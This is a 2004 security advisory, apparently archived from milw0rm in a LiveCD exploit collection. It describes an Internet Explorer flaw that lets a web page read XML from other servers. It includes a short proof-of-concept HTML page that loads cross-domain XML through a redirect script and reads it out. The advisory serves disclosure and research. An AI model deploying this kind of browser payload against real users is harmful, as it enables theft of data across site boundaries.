home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / IE / Remote Users Access XML Documents.txt < prev    next >
Text File  |  2005-02-12  |  2KB  |  58 lines
  1. Georgi Guninski security advisory #71, 2004
  2.  
  3. Yet another IE aperture
  4.  
  5. Systems affected:
  6. tested on patched IE on win2k and xp
  7.  
  8. Date: 7 October 2004
  9.  
  10. Legal Notice:
  11. This Advisory is Copyright (c) 2004 Georgi Guninski.
  12. You may not modify it and distribute it or distribute parts
  13. of it without the author's written permission - this especially applies to
  14. so called "vulnerabilities databases" and securityfocus, microsoft, cert
  15. and mitre.
  16. If you want to link to this content use the URL:
  17. http://www.guninski.com/where_do_you_want_billg_to_go_today_1.html
  18. Anything in this document may change without notice.
  19.  
  20. Disclaimer:
  21. The information in this advisory is believed to be true though
  22. it may be false.
  23. The opinions expressed in this advisory and program are my own and
  24. not of any company. The usual standard disclaimer applies,
  25. especially the fact that Georgi Guninski is not liable for any damages
  26. caused by direct or indirect use of the information or functionality
  27. provided by this advisory or program. Georgi Guninski bears no
  28. responsibility for content or misuse of this advisory or program or
  29. any derivatives thereof.
  30.  
  31. Description:
  32.  
  33. By opening html in IE it is possible to read at least well formed xml from
  34. arbitrary servers. The info then may be transmitted.
  35.  
  36. Details:
  37.  
  38. Consider this:
  39.  
  40. ---------
  41. <html>
  42. <script>
  43. function f()
  44. {
  45. alert(document.all.x1.XMLDocument.xml);
  46. }
  47. </script>
  48.  
  49. <body onload="f()">
  50. <script id="x1" language="xml" src="/cgi-bin/redir.pl"></script>
  51. <h1>
  52. Copyright Georgi Guninski <br />
  53. Cannot be used in any database
  54. </h1>
  55. </body>
  56. </html>
  57.  
  58. //downloaded from milw0rm.com